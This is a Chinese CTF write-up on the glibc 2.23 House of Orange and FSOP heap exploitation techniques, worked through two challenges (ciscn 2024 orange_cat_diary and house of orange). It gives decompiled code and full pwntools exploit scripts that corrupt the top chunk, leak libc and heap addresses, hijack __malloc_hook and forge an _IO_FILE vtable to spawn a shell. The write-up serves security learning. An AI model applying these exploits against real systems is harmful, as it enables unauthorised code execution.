House of orange及FSOP组合技巧总结
YOLO 发表于 山东 二进制安全 511浏览 · 2024-05-27 13:07

house of orange

首先

house of orange 是当程序没有free函数的时候,我们可以通过一些方法,来让chunk被填入unsortbin中,成为一块被free的chunk,然后通过对_IO_FILE_plus.vtable的攻击,达到getshell的目的。 而通常不单单只是利用house of orange手法,还要搭配着FSOP攻击

‍glibc版本

glibc 2.23 -- 2.24

原理

如果我们申请的堆块大小大于了top chunk size的话,那么就会将原来的top chunk放入unsorted bin中,然后再映射或者扩展一个新的top chunk出来。

利用过程:

1、先利用溢出等方式进行篡改top chunk的size

2、然后申请一个大于top chunk的size

因此需要保证原本old top chunk的size大于MINSIZE,还需要保证原本old top chunk的prev_inuse位是1,并且原本old top chunk的地址加上其size之后的地址要与页对齐 。最后old chunk的size必须要小于我们申请的堆块大小加上MINSIZE。

同时要注意如果我们申请的堆块大于了0x20000,那么将会是mmap映射出来的内存,并非是扩展top chunk了。

即:

  • MINSIZE<old_top_size<申请的chunk+MINSIZE
  • old_top_size的prev_size位是1
  • 页对齐
  • 申请的chunk<0x20000

如果满足上述条件,则old top chunk就会进入unsorted chunk

###从unsorted bin中取堆块的时候,是从尾部取的堆块。

FSOP

再利用FSOP攻击去篡改_IO_list_all 劫持IO_FILE结构体并且将vtable中的_IO_overflow函数地址改成system地址

让IO_FILE结构体中的flags成员为/bin/sh字符串从而拿到shell

触发条件

  • 执行exit函数
  • 执行abort流程时
  • 程序从main函数返回

例题

ciscn 2024 orange_cat_diary

ida

main

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_B26(a1, a2, a3);
  puts("Hello, I'm delighted to meet you. Please tell me your name.");
  memset(s, 0, 0x20uLL);
  read(0, s, 0x1FuLL);
  printf("Sweet %s, please record your daily stories.\n", s);
  while ( 1 )
  {
    while ( 1 )
    {
      sub_AA0();                                // int sub_AA0()
                                                // {
                                                //   puts("\n##orange_cat_diary##\n");
                                                //   puts("1.Add diary");
                                                //   puts("2.Show diary");
                                                //   puts("3.Delete diary");
                                                //   puts("4.Edit diary");
                                                //   puts("5.Exit");
                                                //   return printf("Please input your choice:");
      v3 = sub_B90();
      if ( v3 != 2 )
        break;
      show();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        dele();
      }
      else if ( v3 == 4 )
      {
        edit();
      }
    }
    else if ( v3 == 1 )
    {
      sub_BF5();
    }
  }
}

dele

__int64 dele()
{
  if ( dword_202010 > 0 )
  {
    free(ptr);
    --dword_202010;
  }
  puts("Diary deletion successful.");
  return 0LL;
}

发现只能dele一次

orange的特征就是没有足够的free次数所以本题我们运用house of orange

show

__int64 show()
{
  if ( dword_202014 > 0 )
  {
    fwrite(ptr, 1uLL, dword_202058, stdout);
    --dword_202014;
  }
  puts("Diary view successful.");
  return 0LL;
}

show同样只有一次

思路

利用house of orange使 old top chunk放入unsorted bin 中再add 0x60刚好可以取出old top chunk里残余的数据此时就可以利用one_gadget拿到shell

过程

修改old top chunk 使其进入unsorted bin

该过程exp

add(0x108,b'a')
        edit(0x110,b'a'*0x108+p64(0xef1))
        add(0x1000,b'a')
泄露libc
add0x60#申请残余内容

在这里

可以看到FD BK处填入了libc地址

show()
        main_arena = u64(l8(rc(6))) - 0x61   #减去覆盖的a
        libc.address = main_arena - 0x3c5100 #偏移(0x00007f0ff495e188-0x7f0ff4599000)-0x88

搜索one_gadget


刚好0xf03a4 满足条件

劫持malloc hook 修改为og

dele()
edit(0x20,p64(libc.symbols['__malloc_hook']-0x23))
add(0x60,b'a')   #申请旧chunk
add(0x60,b'a'*0x13+p64(gadget))   #申请malloc hook

运行

此时需要再次调用malloc使得one_gadget执行

完整exp

# -*- coding=utf-8 -*-
from pwn import *
from struct import pack
import time
import random
from ctypes import *
fname = './pwn'
context(arch='amd64',os='linux')
elf = ELF(fname)
libc = ELF('./libc-2.23.so')
rc=lambda *args:p.recv(*args)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ls=lambda *args:log.success(*args)
ia=lambda *args:p.interactive()
ts=lambda *args:time.sleep(*args)
l8 = lambda x:x.ljust(8,b'\x00')

p=process(fname)


def duan():
    gdb.attach(p)
    pause() 
def menu(idx):
    ru('ce:')
    sl(str(idx))
def add(size,content):
    menu(1)
    ru('nt:')
    sl(str(size))
    ru('nt:')
    sd(content)

def show():
    menu(2)

def dele():
    menu(3)

def edit(size,content):
    menu(4)
    ru('nt:')
    sl(str(size))
    ru('nt:')
    sd(content)
ru('ame.\n')
sd('heresy')
add(0x108,b'a')
edit(0x110,b'a'*0x108+p64(0xef1))
add(0x1000,b'a')
add(0x60,b'a')
show()
main_arena = u64(l8(rc(6))) - 0x61
libc.address = main_arena - 0x3c5100
gadget = libc.address+0xf03a4
print('libc:', hex(libc.address))
dele()
edit(0x20,p64(libc.symbols['__malloc_hook']-0x23))
add(0x60,b'a')
add(0x60,b'a'*0x13+p64(gadget))
ia()

house of orange

add

int add()
{
  unsigned int size; // [rsp+8h] [rbp-18h]
  int size_4; // [rsp+Ch] [rbp-14h]
  _QWORD *v3; // [rsp+10h] [rbp-10h]
  _DWORD *v4; // [rsp+18h] [rbp-8h]

  if ( unk_203070 > 3u )
  {
    puts("Too many house");
    exit(1);
  }
  v3 = malloc(0x10uLL);
  printf("Length of name :");
  size = sub_C65();
  if ( size > 0x1000 )
    size = 0x1000;
  v3[1] = malloc(size);
  if ( !v3[1] )
  {
    puts("Malloc error !!!");
    exit(1);
  }
  printf("Name :");
  sub_C20(v3[1], size);
  v4 = calloc(1uLL, 8uLL);
  printf("Price of Orange:");
  *v4 = sub_C65();
  sub_CC4();
  printf("Color of Orange:");
  size_4 = sub_C65();
  if ( size_4 != 56746 && (size_4 <= 0 || size_4 > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( size_4 == 56746 )
    v4[1] = 56746;
  else
    v4[1] = size_4 + 30;
  *v3 = v4;
  qword_203068 = v3;
  ++unk_203070;
  return puts("Finish");
}

发现只能add四次

show

int show()
{
  int v0; // eax
  int v2; // eax

  if ( !qword_203068 )
    return puts("No such house !");
  if ( *(_DWORD *)(*qword_203068 + 4LL) == 56746 )
  {
    printf("Name of house : %s\n", (const char *)qword_203068[1]);
    printf("Price of orange : %d\n", *(unsigned int *)*qword_203068);
    v0 = rand();
    return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + v0 % 8));
  }
  else
  {
    if ( *(int *)(*qword_203068 + 4LL) <= 30 || *(int *)(*qword_203068 + 4LL) > 37 )
    {
      puts("Color corruption!");
      exit(1);
    }
    printf("Name of house : %s\n", (const char *)qword_203068[1]);
    printf("Price of orange : %d\n", *(unsigned int *)*qword_203068);
    v2 = rand();
    return printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*qword_203068 + 4LL), *((const char **)&unk_203080 + v2 % 8));

输入56746会进入特殊的show

edit

int sub_107C()
{
  _DWORD *v1; // rbx
  unsigned int v2; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+Ch] [rbp-14h]

  if ( unk_203074 > 2u )
    return puts("You can't upgrade more");
  if ( !qword_203068 )
    return puts("No such house !");
  printf("Length of name :");
  v2 = sub_C65();
  if ( v2 > 0x1000 )
    v2 = 4096;
  printf("Name:");
  sub_C20(qword_203068[1], v2);
  printf("Price of Orange: ");
  v1 = (_DWORD *)*qword_203068;
  *v1 = sub_C65();
  sub_CC4();
  printf("Color of Orange: ");
  v3 = sub_C65();
  if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( v3 == 56746 )
    *(_DWORD *)(*qword_203068 + 4LL) = 56746;
  else
    *(_DWORD *)(*qword_203068 + 4LL) = v3 + 30;
  ++unk_203074;
  return puts("Finish");
}

编辑chunk

思路

并没有free函数 不能将chunk释放掉所以使用house of orange 将old top chunk 释放接着使用FSOP修改io链触发了_IO_flush_all_lockp即可拿到shell

过程

add(0x30, 'aaaa', 111, 56746) # chunk0
payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(111) + p32(56746)+p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 111, 56746)

top chunk的大小将会被修改为0xf81

此时再申请一个大小大于top chunk的堆快将old top chunk放入unsorted bin

add(0x1000,b'bbbb',111,56746)
add(0x400,b'a',14,3)  申请出top chunk残留的内存
show()
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x61 + 0x78-(0x7f1337edbb78-0x7f1337b17000)
print(hex(libc_base))
malloc_hook = libc_base+libc.symbols['__malloc_hook']
print(hex(malloc_hook))

此时chunk

因此我们还可以将heap地址申请出来

payload = 'b' * 0x10
edit(0x10, payload, 14, 3)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xf0   #与heap基地址的偏移
success('heap = '+hex(heap))

泄露出来heap_base后就可以使用FSOP构造io链了

pay = b'a'*0x400+b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
pay += p64(0) + p64(1)
pay = orange.ljust(0xc0, b'\x00')
pay += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system)
payload = p64(0) + p64(0x21) + p32(111) + p32(56746) 
payload += p64(0) + pay
edit(len(payload), payload, 111, 56746)

此时unsorted bin chunk的size修改成0x61,bk指针修改为io_list_all-0x10,

unsorted bin attack完成io_list_all 修改为main_arean

io.sendlineafter('Your choice : ', '1')

刷新IO文件流getshell

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
r = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
    gdb.attach(r)
    pause()
def add(size, content, price, color):
    r.recvuntil("Your choice : ")
    r.sendline('1')
    r.recvuntil("Length of name :")
    r.sendline(str(size))
    r.recvuntil("Name :")
    r.send(content)
    r.recvuntil("Price of Orange:")
    r.sendline(str(price))
    r.recvuntil("Color of Orange:") #1-7
    r.sendline(str(color))
def show():
    r.recvuntil("Your choice : ")
    r.sendline('2')
def edit(size, content, price, color):
    r.recvuntil("Your choice : ")
    r.sendline('3')
    r.recvuntil("Length of name :")
    r.sendline(str(size))
    r.recvuntil("Name:")
    r.send(content)
    r.recvuntil("Price of Orange:")
    r.sendline(str(price))
    r.recvuntil("Color of Orange:") #1-7
    r.sendline(str(color))



add(0x30, 'ffff\n', 111, 56746)
payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(111) + p32(56746)
payload += p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 111, 56746) 
add(0x1000, 'b\n', 111, 56746)
add(0x400, 'b' * 8, 12, 2)
r.sendlineafter("Your choice :", "2")
r.recvuntil('b' * 8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, b'\x00')) - 0x678
libc.address = malloc_hook - libc.sym['__malloc_hook']
_IO_list_all = libc.sym['_IO_list_all']
system_addr = libc.sym['system']
edit(0x10, 'b' * 0x10, 12, 2)
r.sendlineafter("Your choice :", "2")
r.recvuntil('b' * 0x10)
heap_addr = u64(r.recvuntil('\n', drop=True).ljust(8, b'\x00'))
heap_base = heap_addr - 0xE0
orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
orange += p64(0) + p64(1)
orange = orange.ljust(0xc0, b'\x00')
orange += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system_addr)
payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(111) + p32(56746)
payload += p64(0) + orange
edit(len(payload), payload, 111, 56746)
r.sendlineafter('Your choice : ', '1')
r.interactive()
附件:
0 条评论
某人
表情
可输入 255